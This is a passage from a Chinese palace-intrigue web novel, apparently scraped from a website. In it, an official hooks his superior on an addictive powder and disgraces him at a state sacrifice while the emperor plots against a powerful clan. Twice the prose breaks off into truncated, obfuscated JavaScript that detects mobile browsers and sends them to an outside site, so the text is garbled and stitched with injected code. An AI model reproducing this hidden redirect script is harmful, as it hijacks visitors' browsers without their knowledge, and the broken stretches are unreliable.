澹台昱道:“卿公已三日未至,言称服五石散后需静养。”兄弟二人转入内室,在西窗下坐下,澹台昱亲手烹茶,道:“兄长此来,所为何事?” 澹台恭神色凝重,长叹道:“昱弟尚不知晓?你侄儿近日在宋海晏手中受尽折辱!愚兄今日特来与贤弟共商对策。” 澹台昱将白瓷茶杯推到澹台恭面前,苦笑道:“那宋海晏如今手握十二万重兵,是陛下亲封的一品大将军,小弟不过是个六品小官,又能帮上什么忙?” 当年澹台勰死后,澹台恭和澹台昱一同投靠了齐阀。澹台恭凭军功累迁成为五品振威将军,后因女儿被选为颍川王妃而封为征南将军、宣城侯。澹台昱则得到齐梁青睐,到太常署任七品的太史令。七年之前那场夏苗礼,皇帝在覆舟山猎场遇刺,原来的太常丞李敬因此被革职,澹台昱补了他的缺。 太常卿为九卿之首,官居三品。太常丞虽为副手,却仅六品。 要是没有什么意外,澹台昱这一辈子已经望到头了。他初入仕途时,也曾勤勉奉公,到处逢迎。如今在太常署待久了,渐渐意气消磨,每日上值点卯,只求不出差错即可。 澹台恭见他意志消沉的模样,摇头道:“昱弟如今正值壮年,大有可为,难道就甘心困于这小小署衙?” 澹台昱呷了一口苦茶,叹道:“我想有什么用?你们武将多立战功,便可步步高升。我再上进,这太常署上面有齐大人压着,这辈子也就这样了,还能有什么指望?” “愚兄听说齐梁身为上卿,并不理事,这署中庶务一直仰赖于你。”澹台昱凑近一些,低声道:“你在太常署这些年,难道就没有寻到一点把柄,扳倒齐梁,坐上太常卿的位置吗?” 澹台昱吓了一跳,忙起身走到门口,见左近无人,方才舒了一口气。他关上门,小声道:“兄长,这话可不能乱说……齐梁大人能坐上这个位置,是他投胎在了齐家,我拿什么和他相比?能守着这微薄俸禄平安度日,已是天大的福气……” 澹台恭道:“昱弟何必妄自菲薄,我刚从宫中出来。冯常侍说陛下常赞你勤勉,太常署诸事多亏有你操持。可惜那齐梁白占着高位,陛下不好提拔于你。” 澹台昱两眼一亮,喉结上下滚动:“冯常侍当真这么说?” “这是当然。”澹台恭握住堂弟手腕,谆谆道:“昱弟你想,愚兄如今官居二品征南将军,昱弟你若能成为太常卿,你我一文一武,同气连枝,朝中又有谁敢小看我们澹台氏……他日等颍川王妃入主中宫,昱弟你封侯拜相也不是没有可能——” 澹台昱掌心的汗洇湿了衣袖,蛰伏多年的野心在心底破土而出。官场沉浮数十载,谁不想扶摇直上青云端? “想要将齐梁大人拉下来,也不是全无办法。”澹台昱思虑良久,压低嗓音道,“过些天就是社稷祭礼。祭礼大典上,天子初献之后,应由齐梁大人亚献。齐梁再懒散,但在这等国之大事上从来不敢出错。要是他在社稷祭礼有失,就算司徒大人也不好说话……” 秋风扑窗,发出簌簌声响,澹台昱忽想到了什么,神色一动:“兄长且先回去,等我的消息便是。” 澹台恭知澹台昱意动,心中大喜,起身道:“那愚兄就等你的好消息。若有需要愚兄相帮之处,只管开口便是。” 次日巳时,齐梁入署。 这位太常卿峨冠高耸,广袖博带,手执麈尾,颇有道家出尘之态,然而面容青白、脚步虚浮,自马车至署衙不过十步之遥,已是喘息连连,额间薄汗隐隐。 澹台昱见状,疾步上前搀扶,引他至书案前落座,又寻出好茶,亲手烹了奉上。 齐梁随意扫过案上文书,漫声道:“澹台大人,近日署中可有要事?” “回上卿大人,本月廿八日乃仲月戌日,依礼制陛下将往社稷坛行祭祀大礼。此乃国之重典,近日署中上下正紧锣密鼓筹备。不知大人可有训示?”澹台昱垂手恭立,神色端肃。 齐梁掩口打了个哈欠,面露怠倦之色:“这社稷祭典年年如是,你照往年旧例操办便是。” 澹台昱行礼道:“是。” 齐梁强撑着翻了几页公文,困意上涌,正要往内室小憩,一抬头,看澹台恭仍然侍立一旁,不由道:“澹台大人还有什么事?” “前日听大人提及,日常所服五石散药效不及从前。下官近日幸遇一位从南岳衡山来的道士,据传其手中丹方比京中流传得更好。下官特求来一剂,献予大人品鉴。”言罢,澹台昱从袖中取出一只浑圆瓷盒,盒盖雕着九瓣莲花。澹台昱指尖轻转,盒盖开启,一股奇异香气顿时弥漫室内。 齐梁闻得此香,双目微阖,面露陶醉之色,伸手接过瓷盒:“难得你如此用心,这份忠心,本卿记下了。” 澹台昱连忙道:“为大人效力,是下官分内之事。” 接下来的时间,齐梁根本无心公务。他勉强在署内坐了一刻钟,便将事情交代给澹台昱,带着那只瓷盒登车离去。 *** 桂花谢后,便是寒露时节。 一场秋雨之后,天气寒凉起来。青石宫道上积着昨夜的雨水,倒映着灰蒙蒙的天色。几株老桂的残花被风吹散,黏在潮湿的墙根下,更衬得皇宫西北角的玉烛殿,一片萧索荒寂。 玉烛殿是皇后齐宝珠的居所。 元宁元年二月,皇帝将皇后从白鹭台行宫接回皇宫之后,她就一直住在这里。当年五月的夏苗礼上,皇帝在覆舟山行宫遇刺。之后不久,皇后突然发疯,差点掐死襁褓中的皇嗣。太皇太后将皇嗣接走,亲自抚养。 从此之后,皇后齐宝珠就仿佛被世人遗忘。皇帝甚少踏足于此,齐家也似乎忘了自己家也还有一个女儿在宫廷之中,很少派人探望。玉烛殿名为皇后寝宫,实则和冷宫差不多。 这日辰时三刻,一辆青纱车辇停在玉烛殿前。一位身着灰色缁衣的尼师在宫人的引领之下进入殿中,一个时辰之后,尼师从殿中出来,重新登车。马车在御道上辘辘而行,最后停留在净宁庵门口。 这几年,太皇太后身体越发不好,皇帝常常延请药师庵住持静仪师太入宫为太皇太后诊脉,为了静仪师太往来方便,在宫中修建净宁庵作为静仪师太起居之所。 静仪师太进入净宁庵,见皇帝冕旒朱服,立于佛堂之下,望着七宝莲台上庄严慈悲的药师佛像微微出神,一双眼眸静寂悯然,不知在想些什么。 那张脸的轮廓隽美如初,却褪去了昔日在药师庵修行时的沉静婉娩,显露出独属于天子的威仪。静仪师太不由想起“相由心生”这四个字来。 她轻移数步,双手合十,躬身行礼:“陛下圣安,贫尼稽首。” 萧含光回过神来,看向静仪师太,轻声道:“师太,皇后的身体如何了?” 静仪师太道:“总算不负陛下厚望。今日贫尼为皇后娘娘施针之后,皇后娘娘神志有片刻的清醒,她静静看了贫尼一会,说道:‘您是药师庵的静仪师太吧,本宫记得皇妹在庵里修行,不知她如今可还好’,贫尼和她聊了一会儿,她还记得一些旧事,只是颠三倒四,残缺不全……” 静仪师太顿了顿,又道:“虽然之后不久,皇后娘娘神识重新昏聩,但总算是好的征兆。贫尼打算这次在宫中暂住一月,每日为皇后施针,说不定皇后娘娘便可完全想起旧事来。” 萧含光闻言,面露喜色:“如此便有劳师太费心了。”她微微舒了一口气,这几年她一直在暗访哥哥那个孩子的下落,却并没有进展。如果齐宝珠能够彻底恢复,她或许便能寻回真正的皇子。 静仪师太再次稽首:“贫尼自当尽力而为。” 两人说话之间,门外忽传来一道娇俏的女声,大喊道:“皇帝哥哥,宋海晏他仗势欺人,你可一定要给我做主啊……” 紧接着,冯大用劝阻的声音传来:“哎哟,小郡主,陛下正在会见静仪师太,您这么吵吵嚷嚷,扰了佛门之地的清净,成何体统——” 女子的声音愈发高亢,“什么体统不体统的,这话你怎么不同宋海晏说去。我萧红鲤可是长沙王的孙女,陛下亲封的沅陵郡主,在这京城天子脚下,他竟然敢抢本郡主看上的东西,还有没有天理了。我今天一定要到御前告状,让皇帝哥哥替我做主——” “皇帝哥哥,皇帝哥哥——”萧红鲤的呼喊声一阵高过一阵。 萧含光轻轻揉了揉眉心。 宋海晏似乎每天都能生出新的事端来。从他入京以来,她每天都能从不同的人口中听到这个名字。 萧含光踏出佛殿,见一名身着红色纱纹绣缨双裙的少女被羽林军挡在净宁庵大门之外。 见她出来,少女连忙扑了过来,跪下行礼:“皇帝哥哥,求你给红鲤做主——” 萧红鲤是长沙郡王萧夷的孙女,今年刚满十六岁。 萧氏皇族主脉人丁不旺,旁支却繁茂兴盛。长沙郡王乃先帝胞弟,膝下四子,萧红鲤正是其三子萧悯之女。 七年之前,太皇太后召萧悯入京任少府之职,并命其携家眷同至金陵。彼时年仅九岁的萧红鲤和七岁的胞弟萧桢,随父母自封地而来。 太皇太后齐明霜早年为皇后时,对宗室多有猜忌。垂暮之年反倒念起血亲之情,常宣萧悯之妻沈氏携一双儿女入宫。萧含光也因此常见这对小儿女。 萧红鲤生性活泼,又天真烂漫,自小就“皇帝哥哥”前、“皇帝哥哥”后的跟在她后面。萧含光看着她长大,心中疼爱,三年前封其为沅陵郡主。萧红鲤仗着这份宠爱,行事不免骄纵几分。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542527|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧含光目光扫过萧红鲤明媚娇艳的容颜,问道:“红鲤,你因何事和宋海晏起了争执?” “皇帝哥哥,可不是我要与宋海晏争执,是他家的下人仗势欺人,抢了我看中的东西!”萧红鲤跺着脚,委屈地说道。 原来,下个月便是大楚朝一年一度的秋狩盛典。萧红鲤早有打算,想提前寻一匹良驹,好在秋狩时一展风采,因此让家中仆人盯着金陵几家马行。 今天早上,萧红鲤听闻消息,集市上有人售卖一匹碧眼青鬃的骕骦马,萧红鲤找到那卖马的商人,费了半天唇舌,好不容易议定了价钱。谁知宋家仆人突然出现,以三倍的价钱从那商人手中买走了那匹骕骦马。 萧红鲤贵为郡主,又得皇帝宠爱,在京城向来无人敢惹,便是齐、魏等家族见了她也要礼让三分,何曾受过这种气。她当即追到将军府,非要宋海晏交出那匹宝马不可。 谁知,她命仆人叫了半天的门,只见到宋家一名管事出来传话,说:“这匹马大将军看上了就是宋家的,郡主若是不服,就去御前告状——” 萧红鲤哪听过这种话,气得火冒三丈,当即呛声:“告状就告状,你们以为本郡主不敢——” 她离了大将军府,径直往宫中寻皇帝告状来了。萧红鲤撅着嘴,气鼓鼓道:“皇帝哥哥,你说这像话吗?他宋家不过是个外臣,也敢这般目中无人……” 萧含光听了,嘴角勾起一抹微不可察的笑意,道:“红鲤,集市上能有什么好马,也值得为这事生气。朕带你到御马监去,让监司替你挑一匹好马。” 萧红鲤眼睛一亮:“真的?” “君无戏言。” 冯大用命人抬来御辇。萧含光携着萧红鲤一同登上辇车,车驾朝着华林园北的御马监而去。 御马监乃皇家马场,隶属太仆寺管辖。萧含光平素鲜少骑马,但一国之大,有什么稀奇玩意,总有人千方百计地寻来,献于宫中。是以马场之内,也有不少良驹。萧红鲤在马场中细细挑选良久,相中一匹青白相间的青骢马。此马毛色鲜亮,身姿矫健,踏蹄昂首间尽显英气。萧含光当即命内监护送萧红鲤与马匹回府,自己则重新登上御辇,准备返回正光殿。 “皇帝哥哥且慢!”萧红鲤匆匆追来,攀着辇车边缘,娇声道,“红鲤许久未曾探望太皇太后,今日既已入宫,正好前去永寿宫请安。还望皇帝哥哥顺路捎上我……” 萧含光微微颔首:“难得郡主有这份孝心。”她转头吩咐道:“改道永寿宫。” 辇车在御道上不疾不徐行走,萧红鲤斜倚在萧含光身侧,忽而偏过头,杏眼圆睁道:“皇帝哥哥,你是不是很忌惮大将军宋海晏啊?” 萧含光一怔,问道:“红鲤,这话你是从何听来的?” “金陵城到处都在这么说啊,说宋海晏拥兵十二万,有不臣之心。还说宋海晏飞扬跋扈,鞭打禁军将领,公然抗旨,皇帝哥哥你都不敢将他怎么样……”萧红鲤撇嘴道:“本来我还不信,但是宋海晏今日抢了我的马,皇帝哥哥你都不替我出头,可见传言也不是空穴来风……” 萧含光看着萧红鲤稚气未脱的面容,轻声叹了一口气,道:“红鲤,这些朝堂上的事和你没有关系,你听过就算了。” “哦。”萧红鲤应了一声,百无聊赖地扯着裙裾上的金线绣穗,忽又想起什么,道:“皇帝哥哥,我听我阿父说,如今齐氏势力虽大,却不善用兵。我们大楚一朝就只有宋海晏能抵挡北方的蛮族,先帝将长乐公主嫁给宋家,就有笼络宋家的意思,可惜长乐公主死了,不然我们萧家就不至于这么被动……皇帝哥哥,你说宋海晏不会真的想要造反吧……” “红鲤,休要胡言。”萧含光斥了一声,“事情不是你想的这样……” “皇帝哥哥,我听人说皇帝要是想笼络大臣就会将公主嫁给他。如今我们萧家也没有公主,要是皇帝哥哥你真的拿宋海晏没有办法,红鲤好歹也是个郡主,可以勉为其难地嫁给他。”萧红鲤忽坐直身体,攥着拳头,一副大义凛然的模样:“宋海晏老是老了点,但为了我们大楚朝廷,红鲤就不计较那么多了……” “荒唐!”萧含光忍俊不禁,“宋将军今年二十五岁,正值英年。” “是吗?外面将他传得凶神恶煞,我还以为他年龄老大不小了呢……原来只有二十五岁啊……”萧红鲤又舒了一口气,拍着胸脯保证:“那便更好了!待我嫁入宋家,定要将他治得服服帖帖,往后哥哥但有吩咐,他绝不敢不从!” 萧含光望着少女天真烂漫的模样,又好气又好笑,她敛去眸中笑意,正色道:“红鲤,宋将军对大楚忠心耿耿,绝非传言中的乱臣贼子。你是一朝郡主,金枝玉叶,朕不需要靠你联姻来笼络大臣,朕只希望你将来能嫁给自己喜欢的人,知道吗?” “喜欢的人?”萧红鲤抬起头,双眼露出些许茫然,“红鲤并没有喜欢的人……” “只是缘分未到罢了。”萧含光不知想起什么,目光柔和,“红鲤将来总会遇到令你一见倾心之人,那时只管告诉朕,朕为你们赐婚。” 56. 第七章 社稷大典 次日上午,澹台昱进了太常署,见齐梁破天荒地在署中等候。太常卿红光满面,神态亢奋,一见他就拉着他走入内室。 “澹台大人,你昨日所献之方,果非凡品!”齐梁掩不住满脸欣喜,声调都高了几分,“昨日本卿服下后,只觉身轻如燕,恍若羽化登仙,且全无往日倦怠萎靡之态。那位道长想必是真仙下凡,不知如今栖身何处?本卿定要亲往拜会!” 齐梁平生最好所好有二,一是求仙访道,二是痴迷五石散。澹台昱便投其所好,此番献上的方剂,与京中流传的方子大不相同,服食之后,便需每日为继,若有一日不服,便似抓心挠肝,痛苦不堪。 眼见鱼儿已然咬钩,澹台昱心中暗喜,面上却仍是恭谨之色。 “那道士名号松庭道人,平素在东山的紫霞观修行。他不过是一山野散人,上卿大人身份尊贵,何须亲自拜访。明日朝中休沐,下官去请他到府中拜见便是——” 齐梁摇头晃脑道:“澹台大人此言差矣,这些山野名士餐霞饮露,得天地之造化,是游离于红尘外的神仙中人。似我等这样的肉体凡胎,才是真正的俗人,又岂能不怀敬畏之心。署中这些小事,缓两天再办也是一样,今日便请澹台大人与我同往东山,拜访仙人。” 长官这般说,澹台昱哪有不从之理。齐梁的马车便停在署外,两人一起登车,往城外东山而去。 到了紫霞观,齐梁果然见到一位仙风道骨的老道在观中修行。齐梁十分欣喜,与那道士纵谈玄理,末了,又花了十锭金子买了老道士手中剩下的五石散方剂,又预定下月再来,方才尽兴而还。 流光易逝,转眼便到了八月二十八日。这一天为社日,皇帝亲率文武百官,在太社亲祭社稷,以报谢丰收。 社者,土地之神也。稷者,五谷之长也。《周礼》有云:“建国之神位,右社稷,左宗庙。”自秦汉以来,祭祀社稷成为仅次于郊祀天地和祭祀宗庙之外的重要祭典,承载着王朝对土地的敬畏与对丰年的祈愿。 晨光初照,萧含光身着十二章纹的祭服,玄衣纁裳上绣着日月星辰,威严而庄重。她缓步前行,身后跟着一众头戴进贤冠、身着朝服的文武官员,浩浩荡荡地来到位于太庙旁边的社宫。 社宫前,太社、帝社、稷社三坛巍峨矗立,坛体以五色土堆砌,象征着天下五方。 天子肃立坛前,朗朗诵念祝词。廪牺令将一羊、一牛、一豕陈于坛前,太乐令率众乐师奏《天祚》之歌,作八佾之舞。钟磬和鸣,鼓乐齐奏,庄严肃穆之气弥漫天地。 祭舞之后,典仪官高声唱道:“奠帛,行初献礼!” 礼乐大作,萧含光将玉圭插入祭坛中,又在坛前燃起香火,献上玉帛和美酒。四拜之后起身,是为初献。 依礼,天子初献后,当由太常令行亚献,大司农行终献,继而众臣分胙、燎祭,祭典方算圆满。 萧含光完成初献之后,礼官再次高声唱道:“奠帛,行亚献礼!” 皇帝并文武百官并立坛前,目光齐刷刷地落在太常令齐梁应该站立的位置,却不见齐梁的身影。太常丞澹台昱满头大汗、神色慌张地上前,跪在皇帝面前,声音颤抖:“启禀陛下,太常卿大人刚才还在,这一转眼不知往何处去了,微臣遍寻不着……” 皇帝脸色骤变:“你说什么?” 澹台昱跪伏在地上,身体止不住地颤动:“齐梁大人忽然不见了——” 百官顿时哗然,众人左右四顾,交头接耳,纷纷在人群中寻找齐梁的身影。司徒公齐鸿脸色铁青,额头上青筋暴起。齐梁虽平日里行事散漫,但在祭祀宗庙社稷这等大事上,还从没出过差错。此刻,他心急如焚,恨不得亲自去寻人,可惜按照仪程,他只能站在百官行列之中,不得私出。无奈之下,他只好用眼神示意左近的齐氏家臣赶紧去找人。 皇帝脸上的惊诧只有一瞬,很快便恢复了沉着,沉声道:“祭祀社稷乃国之重典,岂因一人而废?既然齐梁未至,朕命澹台昱暂代太常卿之职,行亚献之礼!” 此言一出,众人皆惊。这在大楚一朝从未有过先例。但凡这等要职,莫不经过朝堂上唇枪舌剑,朝堂下勾连商兑,方能决定最终人选。从来没有皇帝一言,随意更换的道理。 若是在朝堂之上,平素那些依附齐阀的官员势必纷纷跳出来反对,可此刻正在祭祀社稷这等庄重仪典,无人敢大声喧哗。就连司徒公齐鸿,脸色阴沉得能滴出水来,也没有发声反对。 澹台昱心中暗喜,看来今天这一步他是赌对了。 “臣遵旨。” 他本是太常丞,这些祭典不知操持了多少遍,便整理好衣袖,在礼乐声中昂首挺胸地走上祭坛。他动作娴熟,神情庄重,顺利完成了本来应该由齐梁完成的亚献礼。 之后,大司农上前,完成了终献之礼。 终献之后,众臣分胙、燎祭,典礼官宣布礼毕。众人皆暗中舒了一口气,今日祭典虽出现些许意外,但总算是圆满完成了。 冯大用请皇帝上辇,起驾回宫,百官也正准备离开。忽然,禁军校尉澹台炜疾步奔来,奏道:“启禀陛下,臣已找到了太常卿齐大人。” 萧含光凤眉微蹙,冷然道:“哦,齐大人在哪儿?方才献礼为何不至?” 澹台炜额间沁汗,支吾道:“齐大人尚在社宫之内,只是……只是……臣实不敢奏!” 萧含光知道其中必有蹊跷,脸色也沉了下来,道:“既然在社宫之中,朕便去亲自去瞧瞧,看看太常卿有何要事,竟比社稷祭典更加重要……” 齐鸿心知不妙,这时先前派去寻人的齐氏家臣也回来了,齐鸿低声问道:“怎么回事?” 家臣面如土色:“事情不好,我们的人找到社宫时,禁军已经将社宫团团围住,我们的人全部都被拦在外面,根本进不去,也不知道里面究竟发生了什么……” 再看皇帝时,只见皇帝已经大踏步向社宫走去,齐鸿只好快步跟上。 百官之中有反应快的,已经察觉此事蹊跷。先是齐梁在行亚献礼时突然消失,皇帝命本为太常丞的澹台昱暂代太常卿一职,代行献礼,紧接着又是禁军校尉澹台炜第一个发现了齐梁在社宫之中。 这件事情摆明了是澹台氏与齐氏的又一次明争暗斗,眼看着好一场热闹,群臣也没有这个时候离开的道理,纷纷跟在皇帝和司徒公的身后,往社宫而去。 萧含光行至社宫前,见朱门紧闭,室内之内隐隐传来细碎声响。那声音似有男女私语,又夹杂着衣衫摩挲之声,竟似有人行那苟且之事。 萧含光抬头,正欲下令羽林军破门,里面传出说话声。 女子娇声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552318|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “齐大人,这里可是社宫,一会儿祭典结束,就有人过来收拾,万一教人撞见,该如何是好?” 紧接着,一名男子笑声传来:“怕什么,你我只管快活。本大人现在身体飘飘然,怕是马上就要羽化登仙而去,又何须管这些俗世烦恼之事……” 百官们顿时炸开了锅,议论之声此起彼伏。有人掩着嘴,满脸的惊愕与鄙夷;有人摇头叹息,感慨世风日下;更有平日里与齐氏不和的官员,眼中闪烁着幸灾乐祸的光芒。齐家此番算是丢脸丢到家了。 齐鸿汗出如浆,头上嗡嗡作响,他听出那女子的声音正是齐梁平素最宠爱的姬妾。他万万没有想到齐梁竟敢将人带入社宫,在此行腌臜之事,甚至缺席亚献之礼,他恨不得立刻冲入殿中,将这孽子撕碎。 他踉跄着上前,几乎栽倒,左手扶住檐柱,才勉强站稳。一回头,见皇帝一双晶亮的眸子正看着他,似乎正在询问他如何处置此事。 她眼中既没有慌张失措,也不见愤怒震惊,只是静静地看着他,仿佛无声地对峙。 齐鸿强自冷静了下来,他终于意识到,他小瞧了眼前的女子。 自从太皇太后退居永寿宫之后,齐阀行事较之从前有所收敛,不再重提立储之事。 一来,齐栋贪功冒进,在洛阳城损失不小。宋寒章死了,宋何联盟依旧牢固,宋海晏继任庐江刺史之后,对朝廷内外十分强势,齐阀需要分心面对宋氏可能的威胁。 二来,帝位上坐着的并不是皇太孙萧樗,而是长乐公主。因此,后宫不会再有新生儿,颍川郡王会是皇帝唯一合法的继承人,只要拖下去,太皇太后最终会接受这个事实。至于皇帝本人,她的意见并不重要。门阀势大,皇权式微,就算太皇太后齐明霜也只能接受这个结果,何况一个长在庵堂的公主? 齐鸿觉得他大错特错。皇帝并不像她表面上看起来那般柔弱可欺,澹台氏和颍川郡王的婚约并不是太皇太后的授意,而是她的手笔。宣城的澹台氏确实是皇帝用来对付齐家的一枚棋子。 此刻,对方下出妙手,他必须做出取舍。 齐梁在众目睽睽之下,在社宫庄严之地行秽乱之事,他找不到任何包庇回旋的借口,只能舍弃自己的长子,将太常卿的位置拱手让给澹台氏。至于齐阀失去的面子,只能事后在其他地方找回来。 齐鸿深吸一口气,在御前跪下,叩首道:“陛下,齐梁在社稷祭坛行此丑事,亵渎神灵,罪无可赦。请陛下下旨,将齐梁革职收押入监,依国法处置,再治臣教子无方之过。” 萧含光垂眸凝视着伏地叩首的齐鸿,心想不愧是老狐狸,这么快做出弃卒保帅的决定。如此,她行事也不得不顾全体面。 她转身,昂声道:“来人,将齐梁拿下,交付廷尉审问定罪——” 澹台炜早已待命,率羽林军破门而入,将衣衫不整的齐梁和宠姬拖了出去。齐梁这时方才清醒过来,大喊道:“父亲,救我——” 齐鸿伏地不言,喉头涌过一丝腥甜。 “带走!”澹台炜挥袖喝令,甲胄碰撞声中,两人被架出殿门。齐梁的哀号渐远,消散在廊下回音里。 萧含光这才重新看向依然跪地不起的齐鸿,放缓语气:“司徒公辅佐太祖定鼎天下,功在社稷。今虽教子失察,念过往忠勤,罚俸一年,以儆效尤。” 57. 第八章 楚客江浔 官员们三三两两地离开,齐鸿独自步履蹒跚地向马车走去,登车时,他足下不稳,一个趔趄差点摔倒在地。 萧含光坐在御辇上,忍不住勾起唇角。 她筹谋七年,如今可算是在齐阀这座坚硬堡垒上,凿开一个小小的口子。事情到了这一步,齐阀再无包庇齐梁的余地。 从前,澹台昱想要成为太常卿几乎不可能。就算是齐梁自己肯从这个位置上退下来,也还有不知多少世家盯着。但今日祭典上,澹台昱已代齐梁行亚献礼,齐梁又落了丑闻被革职。澹台昱既然暂代太常卿之职,自然顺理成章地继续“暂代”下去。 澹台氏从此和齐氏结仇,日后少不得一番拉扯。但齐氏也只能将一腔怒火对着澹台父子发泄,暂时还算不到她的头上。 今日之事只是一个开始,她想做的事情不止于此。想要改变皇权式微、门阀势大的格局,仅靠澹台一族是远远不够的。 自有大楚一朝,上品无寒门,下品无士族,官员选拔,全凭门第出身。世族子弟在朝中任了要职,自然会千方百计维护本族利益,在官员推选上优先同族同姓之人,终至尾大不掉。各家互相掣肘,争权夺利,内耗不已。 齐鸿野心昭昭,魏膺之又何尝不是?就连澹台恭,一旦得势,又岂会甘居人下? 要改变这一切,就得从根本上改变选官制度。当然,现在说这些还为时过早,事情总得一件一件地做。 回到正光殿,楚秋筠替她除去庄重的祭服,换上一身轻便的常服。今日无他事,午膳之后,她在寝殿小憩了一番,白令瑶通传消息,说是中书侍郎齐韶在御书房等候。 萧含光进入御书房时,见齐韶已换去了上午的官服,着一身月白色交领袍,手握长卷,立在绮窗前,皎若玉树。 听到脚步声,齐韶放下手中书卷,快速走到皇帝身前行礼,萧含光抬手示意平身,问道:“齐家那边可有动静?” 太皇太后退居永寿宫之后,她昔日掌控的情报、暗卫等事宜,便交由齐韶打理。七年过去,这对君臣已经培养出相当的默契,但凡有重要消息,齐韶总会第一时间上报。 齐韶禀道:“据齐家内线来报,齐鸿回府后,修书一封,命人速召江州的二公子齐椽回金陵。” 萧含光微微蹙眉:“召回齐椽?为何不是齐栋?” 齐鸿有三个儿子,长子齐梁为太常卿,三子齐栋为扬州都督,掌军八万,坐镇广陵。而次子齐椽,并无官职在身,在齐阀之中亦不显山露水。世人皆道他淡泊名利,痴迷诗文字画,常与名士往来,热衷清谈论玄,不愿出仕为官。 依萧含光此前推测,齐梁出事,齐鸿定会即刻召回齐栋商议对策。 “齐椽虽无官职在身,但并非闲云野鹤。”齐韶轻轻摇头:“臣最近查得两件旧事。其一,颍川郡王极有可能是齐椽的儿子。当年,齐椽之妻陶夫人有孕,孕期与齐皇后相近。陶夫人回娘家养胎数月,归来不见孩子,齐家对外说陶夫人不幸小产。此后,陶夫人终日以泪洗面,夫妻二人争吵不断,仆人偶尔听见陶夫人哭喊着‘还我孩子’,有一次,齐椽喝醉了酒,两人发生争吵,齐椽竟用红绫亲手勒死了陶夫人,对外宣称陶夫人急病而亡……” 萧含光呼吸一滞。为了太子之位,竟活生生勒死自己的结发妻子,这位二公子真是心狠手辣。又想起玉烛殿中疯了的齐宝珠,心头直发堵。 “第二件事,元宁初年北伐之时,有人在寿春见过齐椽。宋寒章死后,庐江曾经有过一些隐秘的流言,说宋寒章之死与齐椽有关。宋海晏从北方回来之后,还下令禁止流言的传播。臣认为,齐氏若与拓跋雄部勾结,必有相当分量的人物出面,齐椽无官职在身,是最合适的人选。宋海晏应该知道更多内情,只是对外刻意隐瞒消息。” 齐韶低声道,“如果这两件事都是真的,齐椽可能才是齐阀最危险、最狡猾的人物。” 萧含光神情凝重起来,她用手轻轻叩击书案,沉吟道:“往好的方向想,齐鸿召回齐椽而非齐栋,说明他们暂时不打算动用武力,而是准备暗中谋划。”她忽想起什么,问道:“对了,你方才说,齐椽现在在哪?” “江州。” “奇怪,江州是豫章王的封地,与庐江郡隔江而望,他去那里干什么?” *** 江州地处长江中游,西临荆州,东连扬州,南通彭泽,北接庐江,物阜民丰,人杰地灵。 大楚开国之初,太祖萧胥将此膏腴之地封予胞弟萧聿,号豫章王。三年前,萧聿去世,封国由其长子萧惟继承。豫章王治下轻徭薄赋,又因境内水路通畅,引得四方商贾云集。时下江州城富庶繁华,商船往来如织,白帆蔽日遮江;街市之上,绸缎庄、茶寮、酒肆鳞次栉比,人烟阜盛。 江州城的主街有一家名叫藏珍阁的店铺,主营古玩字画、古籍善本等。掌柜名为梁行,据说是摸金校尉起家,手中有不少前朝的古物。但古籍珍玩,不过高人雅士所好,又价值不菲,豫章普通士子,一般也就只能看看一楼的那些仿品赝品,二楼秘藏的珍玩,很少有人能够瞧见。 这日,一辆华美的马车停在藏珍阁门前。车内步出一位姿仪如玉、气度清华的男子,正是齐阀二公子齐椽。掌柜梁行亲至门前迎候,将其引入二楼雅室,又命侍女奉上香茗。 宾主寒暄之后,梁行从密匣中取出一幅卷轴,笑道:“上次二公子提及想寻东汉蔡邕《述行赋》手稿,小人可费了老大功夫,在北方一连掘了十几座古墓,方得此真本。二公子且看……” 梁行将那薄薄的卷轴在几案上徐徐展开,但见黄色绢纸边缘虽略有磨损,墨色却依旧鲜亮,其上隶书骨气洞达、妙有绝伦,确实是东汉蔡中郎手迹无疑。 齐椽素好古物,纵是家中珍藏无数,此刻亦不禁屏息凝神,指尖微颤。他凭几而坐,轻抚绢纸上的字迹,细细品鉴,爱不释手。一盏茶的工夫,方转头问梁行道:“不知梁掌柜肯否将这卷《述行赋》割爱,索价几何?” 梁行道:“齐公子也知道,洛阳如今是北魏的地界,在那边盗墓可不容易,我们折损了不少人手,前前后后花费不少。但齐公子是我们藏珍阁的老主顾,小人也不敢漫天要价,五百两黄金即可。” “五百两黄金?”齐椽面露犹豫之色。 这卷《述行赋》品相极佳,保存得极好,在齐椽看来,五百两黄金倒也不算贵。不过一幅字画就花掉这么多黄金,即使是齐阀的二公子,也有些肉痛。齐阀家大业大,然用钱之处极多,北扬州八万大军,每月粮饷便是一笔巨额支出。何况这几年间,他在梁行的藏珍阁已花费数万两黄金,换算成市面上流通的铁钱,足有数十亿之巨。若是被父亲齐鸿知晓,少不得要遭一顿痛斥。 若要放弃,又有些舍不得。他迟疑道:“梁掌柜,能否将此卷暂留三月?三月之后,我必来取。” “三个月?那恐怕不成。”梁行摇头道:“不瞒公子,前几日豫章王世子萧旷来店里,瞧见这幅字画,言明要买下献与豫章王作为寿礼。小人念及是公子想要的东西,便推说已有人预订。若公子不要,只怕世子下次再来,便要买去了……” 齐椽冷笑一声:“豫章王不过一介俗人,有何资格品鉴蔡中郎的墨宝?” 梁行忙道:“谁说不是呢?可在这江州地界,豫章王便是天。豫章王世子看上的东西,莫说买,便是要强抢,小人也留不住啊……” 